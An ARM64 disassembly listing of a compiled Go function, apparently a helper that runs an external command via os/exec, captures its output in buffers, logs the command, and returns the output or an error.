0042a438str x0, [sp+824]
0042a43cstr x1, [sp+832]
0042a440stp xzr, xzr, [sp+472]
0042a444stp xzr, xzr, [sp+488]
0042a448add x5, sp, 472
0042a44cstr x5, [sp+504]
0042a450ldrsb x27, [x5]
0042a454ldr x6, [sp+856]
0042a458ldr x7, [sp+864]
0042a45cstr x7, [x5+8]
0042a460adrp x27, 0x621000
0042a464ldr w7, [x27+3056]
0042a468cbz w7, 0x42a470
0042a46cb 0x42a474
0042a470
0042a470loc_42a470:
0042a470b 0x42a488
0042a474
0042a474loc_42a474:
0042a474bl runtime.gcWriteBarrier2
0042a478str x6, [x25]
0042a47cldr x7, [x5]
0042a480str x7, [x25+8]
0042a484b 0x42a488
0042a488
0042a488loc_42a488:
0042a488str x6, [x5]
0042a48cldrsb x27, [x5]
0042a490ldr x6, [sp+824]
0042a494ldr x7, [sp+832]
0042a498str x7, [x5+24]
0042a49cadrp x27, 0x621000
0042a4a0ldr w7, [x27+3056]
0042a4a4cbz w7, 0x42a4ac
0042a4a8b 0x42a4b0
0042a4ac
0042a4acloc_42a4ac:
0042a4acb 0x42a4c4
0042a4b0
0042a4b0loc_42a4b0:
0042a4b0bl runtime.gcWriteBarrier2
0042a4b4str x6, [x25]
0042a4b8ldr x7, [x5+16]
0042a4bcstr x7, [x25+8]
0042a4c0b 0x42a4c4
0042a4c4
0042a4c4loc_42a4c4:
0042a4c4str x6, [x5+16]
0042a4c8ldr x5, [sp+504]
0042a4ccldrsb x27, [x5]
0042a4d0b 0x42a4d4
0042a4d4
0042a4d4loc_42a4d4:
0042a4d4str x5, [sp+176]
0042a4d8orr x5, xzr, 2
0042a4dcstr x5, [sp+184]
0042a4e0str x5, [sp+192]
0042a4e4ldr x2, [sp+272]
0042a4e8ldr x0, [sp+256]
0042a4ecldr x5, [sp+264]
0042a4f0str x0, [sp+448]
0042a4f4str x5, [sp+456]
0042a4f8str x2, [sp+464]
0042a4fcldr x6, [sp+184]
0042a500add x1, x5, x6
0042a504str x1, [sp+80]
0042a508subs xzr, x2, x1
0042a50cb.hs 0x42a514
0042a510b 0x42a51c
0042a514
0042a514loc_42a514:
0042a514str x1, [sp+456]
0042a518b 0x42a53c
0042a51c
0042a51cloc_42a51c:
0042a51cldr x3, [sp+184]
0042a520adrp x4, 0x1cb000
0042a524add x4, x4, 2944
0042a528bl runtime.growslice
0042a52cstr x0, [sp+448]
0042a530str x1, [sp+456]
0042a534str x2, [sp+464]
0042a538b 0x42a53c
0042a53c
0042a53cloc_42a53c:
0042a53cldr x5, [sp+80]
0042a540ldr x6, [sp+184]
0042a544sub x7, x5, x6
0042a548ubfm x7, x7, 60, 59
0042a54cldr x8, [sp+448]
0042a550ldr x9, [sp+456]
0042a554add x9, x9, x6
0042a558sub x2, x9, x5
0042a55cldr x9, [sp+464]
0042a560add x6, x9, x6
0042a564sub x5, x6, x5
0042a568sub x6, xzr, x5
0042a56cand x6, x7, x6, asr #63
0042a570add x1, x8, x6
0042a574str x1, [sp+424]
0042a578str x2, [sp+432]
0042a57cstr x5, [sp+440]
0042a580ldr x3, [sp+176]
0042a584ldr x4, [sp+184]
0042a588adrp x0, 0x1cb000
0042a58cadd x0, x0, 2944
0042a590bl runtime.typedslicecopy
0042a594ldr x5, [sp+448]
0042a598ldr x6, [sp+456]
0042a59cldr x7, [sp+464]
0042a5a0str x5, [sp+256]
0042a5a4str x6, [sp+264]
0042a5a8str x7, [sp+272]
0042a5acldr x5, [sp+1072]
0042a5b0str x5, [sp+88]
0042a5b4cbnz x5, 0x42a5bc
0042a5b8b 0x42a5dc
0042a5bc
0042a5bcloc_42a5bc:
0042a5bcldr x0, [sp+1048]
0042a5c0ldr x2, [sp+1064]
0042a5c4ldr x1, [sp+1056]
0042a5c8ldr x3, [sp+1072]
0042a5ccldr x4, [sp+1080]
0042a5d0bl os/exec.Command
0042a5d4str x0, [sp+280]
0042a5d8b 0x42a5fc
0042a5dc
0042a5dcloc_42a5dc:
0042a5dcldr x0, [sp+1048]
0042a5e0ldr x1, [sp+1056]
0042a5e4mov x2, xzr
0042a5e8mov x3, xzr
0042a5ecmov x4, x3
0042a5f0bl os/exec.Command
0042a5f4str x0, [sp+280]
0042a5f8b 0x42a5fc
0042a5fc
0042a5fcloc_42a5fc:
0042a5fcldr x1, [sp+280]
0042a600ldrsb x27, [x1]
0042a604ldr x2, [sp+256]
0042a608ldr x3, [sp+264]
0042a60cldr x4, [sp+272]
0042a610str x3, [x1+48]
0042a614str x4, [x1+56]
0042a618adrp x27, 0x621000
0042a61cldr w3, [x27+3056]
0042a620cbz w3, 0x42a628
0042a624b 0x42a62c
0042a628
0042a628loc_42a628:
0042a628b 0x42a640
0042a62c
0042a62cloc_42a62c:
0042a62cbl runtime.gcWriteBarrier2
0042a630str x2, [x25]
0042a634ldr x3, [x1+40]
0042a638str x3, [x25+8]
0042a63cb 0x42a640
0042a640
0042a640loc_42a640:
0042a640str x2, [x1+40]
0042a644ldr x1, [sp+1016]
0042a648str x1, [sp+816]
0042a64cldr x2, [sp+280]
0042a650ldrsb x27, [x2]
0042a654adrp x3, 0x2e9000
0042a658add x3, x3, 2976
0042a65cstr x3, [x2+96]
0042a660adrp x27, 0x621000
0042a664ldr w3, [x27+3056]
0042a668cbz w3, 0x42a670
0042a66cb 0x42a674
0042a670
0042a670loc_42a670:
0042a670b 0x42a688
0042a674
0042a674loc_42a674:
0042a674bl runtime.gcWriteBarrier2
0042a678str x1, [x25]
0042a67cldr x3, [x2+104]
0042a680str x3, [x25+8]
0042a684b 0x42a688
0042a688
0042a688loc_42a688:
0042a688str x1, [x2+104]
0042a68cldr x1, [sp+1024]
0042a690str x1, [sp+816]
0042a694ldr x2, [sp+280]
0042a698ldrsb x27, [x2]
0042a69cadrp x3, 0x2e9000
0042a6a0add x3, x3, 2976
0042a6a4str x3, [x2+112]
0042a6a8adrp x27, 0x621000
0042a6acldr w3, [x27+3056]
0042a6b0cbz w3, 0x42a6b8
0042a6b4b 0x42a6bc
0042a6b8
0042a6b8loc_42a6b8:
0042a6b8b 0x42a6d0
0042a6bc
0042a6bcloc_42a6bc:
0042a6bcbl runtime.gcWriteBarrier2
0042a6c0str x1, [x25]
0042a6c4ldr x3, [x2+120]
0042a6c8str x3, [x25+8]
0042a6ccb 0x42a6d0
0042a6d0
0042a6d0loc_42a6d0:
0042a6d0str x1, [x2+120]
0042a6d4ldr x0, [sp+280]
0042a6d8bl os/exec.(*Cmd).String
0042a6dcstr x0, [sp+824]
0042a6e0str x1, [sp+832]
0042a6e4add x27, sp, 840
0042a6e8stp xzr, xzr, [x27]
0042a6ecadd x1, sp, 840
0042a6f0str x1, [sp+392]
0042a6f4ldr x0, [sp+824]
0042a6f8ldr x1, [sp+832]
0042a6fcbl runtime.convTstring
0042a700str x0, [sp+384]
0042a704ldr x1, [sp+392]
0042a708ldrsb x27, [x1]
0042a70cadrp x2, 0x1cb000
0042a710add x2, x2, 2944
0042a714str x2, [x1]
0042a718adrp x27, 0x621000
0042a71cldr w2, [x27+3056]
0042a720cbz w2, 0x42a728
0042a724b 0x42a72c
0042a728
0042a728loc_42a728:
0042a728b 0x42a740
0042a72c
0042a72cloc_42a72c:
0042a72cbl runtime.gcWriteBarrier2
0042a730str x0, [x25]
0042a734ldr x5, [x1+8]
0042a738str x5, [x25+8]
0042a73cb 0x42a740
0042a740
0042a740loc_42a740:
0042a740str x0, [x1+8]
0042a744ldr x2, [sp+392]
0042a748ldrsb x27, [x2]
0042a74cb 0x42a750
0042a750
0042a750loc_42a750:
0042a750str x2, [sp+400]
0042a754orr x4, xzr, 1
0042a758str x4, [sp+408]
0042a75cstr x4, [sp+416]
0042a760adrp x0, 0x289000
0042a764add x0, x0, 564
0042a768orr x1, xzr, 12
0042a76cmov x3, x4
0042a770bl log.Printf
0042a774ldr x0, [sp+1008]
0042a778orr x1, xzr, 1
0042a77cbl sync.(*WaitGroup).Add
0042a780ldr x5, [sp+280]
0042a784str x5, [sp+976]
0042a788ldr x5, [sp+1008]
0042a78cstr x5, [sp+968]
0042a790adrp x0, 0x222000
0042a794add x0, x0, 960
0042a798bl runtime.newobject
0042a79cstr x0, [sp+376]
0042a7a0adrp x5, 0
0042a7a4add x5, x5, 2656
0042a7a8str x5, [x0]
0042a7acldr x5, [sp+976]
0042a7b0ldr x6, [sp+376]
0042a7b4ldrsb x27, [x6]
0042a7b8adrp x27, 0x621000
0042a7bcldr w7, [x27+3056]
0042a7c0cbz w7, 0x42a7c8
0042a7c4b 0x42a7cc
0042a7c8
0042a7c8loc_42a7c8:
0042a7c8b 0x42a7e0
0042a7cc
0042a7ccloc_42a7cc:
0042a7ccbl runtime.gcWriteBarrier2
0042a7d0str x5, [x25]
0042a7d4ldr x1, [x6+8]
0042a7d8str x1, [x25+8]
0042a7dcb 0x42a7e0
0042a7e0
0042a7e0loc_42a7e0:
0042a7e0str x5, [x6+8]
0042a7e4ldr x1, [sp+968]
0042a7e8ldr x2, [sp+376]
0042a7ecldrsb x27, [x2]
0042a7f0adrp x27, 0x621000
0042a7f4ldr w3, [x27+3056]
0042a7f8cbz w3, 0x42a800
0042a7fcb 0x42a804
0042a800
0042a800loc_42a800:
0042a800b 0x42a818
0042a804
0042a804loc_42a804:
0042a804bl runtime.gcWriteBarrier2
0042a808str x1, [x25]
0042a80cldr x3, [x2+16]
0042a810str x3, [x25+8]
0042a814b 0x42a818
0042a818
0042a818loc_42a818:
0042a818str x1, [x2+16]
0042a81cldr x0, [sp+376]
0042a820bl runtime.newproc
0042a824ldr x0, [sp+1008]
0042a828bl sync.(*WaitGroup).Wait
0042a82cldr x0, [sp+1024]
0042a830bl bytes.(*Buffer).Bytes
0042a834str x0, [sp+792]
0042a838str x1, [sp+800]
0042a83cstr x2, [sp+808]
0042a840str x1, [sp+88]
0042a844cbnz x1, 0x42a84c
0042a848b 0x42a89c
0042a84c
0042a84cloc_42a84c:
0042a84cldr x0, [sp+1024]
0042a850bl bytes.(*Buffer).String
0042a854str x0, [sp+824]
0042a858str x1, [sp+832]
0042a85cmov x2, xzr
0042a860mov x3, xzr
0042a864mov x4, x3
0042a868bl fmt.Errorf
0042a86cstr x0, [sp+936]
0042a870str x1, [sp+944]
0042a874stp xzr, xzr, [sp+160]
0042a878ldr x2, [sp+936]
0042a87cldr x3, [sp+944]
0042a880str x2, [sp+144]
0042a884str x3, [sp+152]
0042a888ldr x0, [sp+160]
0042a88cldr x1, [sp+168]
0042a890ldp x29, x30, [sp-8]
0042a894add sp, sp, 1040
0042a898ret x30
0042a89c
0042a89cloc_42a89c:
0042a89cldr x0, [sp+1016]
0042a8a0bl bytes.(*Buffer).String
0042a8a4str x0, [sp+824]
0042a8a8str x1, [sp+832]
0042a8acadd x27, sp, 840
0042a8b0stp xzr, xzr, [x27]
0042a8b4add x1, sp, 840
0042a8b8str x1, [sp+344]
0042a8bcldr x0, [sp+824]
0042a8c0ldr x1, [sp+832]
0042a8c4bl runtime.convTstring
0042a8c8str x0, [sp+336]
0042a8ccldr x1, [sp+344]
0042a8d0ldrsb x27, [x1]
0042a8d4adrp x2, 0x1cb000
0042a8d8add x2, x2, 2944
0042a8dcstr x2, [x1]
0042a8e0adrp x27, 0x621000
0042a8e4ldr w2, [x27+3056]
0042a8e8cbz w2, 0x42a8f0
0042a8ecb 0x42a8f4
0042a8f0
0042a8f0loc_42a8f0:
0042a8f0b 0x42a908
0042a8f4
0042a8f4loc_42a8f4:
0042a8f4bl runtime.gcWriteBarrier2
0042a8f8str x0, [x25]
0042a8fcldr x5, [x1+8]
0042a900str x5, [x25+8]
0042a904b 0x42a908
0042a908
0042a908loc_42a908:
0042a908str x0, [x1+8]
0042a90cldr x2, [sp+344]
0042a910ldrsb x27, [x2]
0042a914b 0x42a918
0042a918
0042a918loc_42a918:
0042a918str x2, [sp+352]
0042a91corr x4, xzr, 1
0042a920str x4, [sp+360]
0042a924str x4, [sp+368]
0042a928adrp x0, 0x28b000
0042a92cadd x0, x0, 1186
0042a930movz x1, 17
0042a934mov x3, x4
0042a938bl log.Printf
0042a93cldr x0, [sp+1024]
0042a940bl bytes.(*Buffer).String
0042a944str x0, [sp+824]
0042a948str x1, [sp+832]
0042a94cadd x27, sp, 840
0042a950stp xzr, xzr, [x27]
0042a954add x5, sp, 840
0042a958str x5, [sp+304]
0042a95cldr x0, [sp+824]
0042a960ldr x1, [sp+832]
0042a964bl runtime.convTstring
0042a968str x0, [sp+296]
0042a96cldr x5, [sp+304]
0042a970ldrsb x27, [x5]
0042a974adrp x6, 0x1cb000
0042a978add x6, x6, 2944
0042a97cstr x6, [x5]
0042a980adrp x27, 0x621000
0042a984ldr w6, [x27+3056]
0042a988cbz w6, 0x42a990
0042a98cb 0x42a994
0042a990
0042a990loc_42a990:
0042a990b 0x42a9a8
0042a994
0042a994loc_42a994:
0042a994bl runtime.gcWriteBarrier2
0042a998str x0, [x25]
0042a99cldr x6, [x5+8]
0042a9a0str x6, [x25+8]
0042a9a4b 0x42a9a8
0042a9a8
0042a9a8loc_42a9a8:
0042a9a8str x0, [x5+8]
0042a9acldr x2, [sp+304]
0042a9b0ldrsb x27, [x2]
0042a9b4b 0x42a9b8
0042a9b8
0042a9b8loc_42a9b8:
0042a9b8str x2, [sp+312]
0042a9bcorr x4, xzr, 1
0042a9c0str x4, [sp+320]
0042a9c4str x4, [sp+328]
0042a9c8adrp x0, 0x28b000
0042a9ccadd x0, x0, 1203
0042a9d0movz x1, 17
0042a9d4mov x3, x4
0042a9d8bl log.Printf
0042a9dcldr x0, [sp+1016]
0042a9e0bl bytes.(*Buffer).String
0042a9e4str x0, [sp+824]
0042a9e8str x1, [sp+832]
0042a9ecstr x0, [sp+160]
0042a9f0str x1, [sp+168]
0042a9f4stp xzr, xzr, [sp+144]
0042a9f8ldr x0, [sp+160]
0042a9fcldr x1, [sp+168]
0042aa00mov x2, xzr
0042aa04mov x3, xzr
0042aa08ldp x29, x30, [sp-8]
0042aa0cadd sp, sp, 1040
0042aa10ret x30
0042aa14
0042aa14loc_42aa14:
0042aa14stp x0, x1, [sp+8]
0042aa18stp x2, x3, [sp+24]
0042aa1cstr x4, [sp+40]
0042aa20str w5, [sp+48]
0042aa24stp x6, x7, [sp+56]
0042aa28stp x8, x9, [sp+72]
0042aa2cstp x10, x11, [sp+88]
0042aa30strb w12, [sp+104]
0042aa34mov x3, x30
0042aa38bl runtime.morestack_noctxt.abi0
0042aa3cldp x0, x1, [sp+8]
0042aa40ldp x2, x3, [sp+24]
0042aa44ldr x4, [sp+40]
0042aa48ldr w5, [sp+48]
0042aa4cldp x6, x7, [sp+56]
0042aa50ldp x8, x9, [sp+72]
0042aa54ldp x10, x11, [sp+88]
0042aa58ldrb w12, [sp+104]
0042aa5cb 0x429dc0
00429dc0
Loading..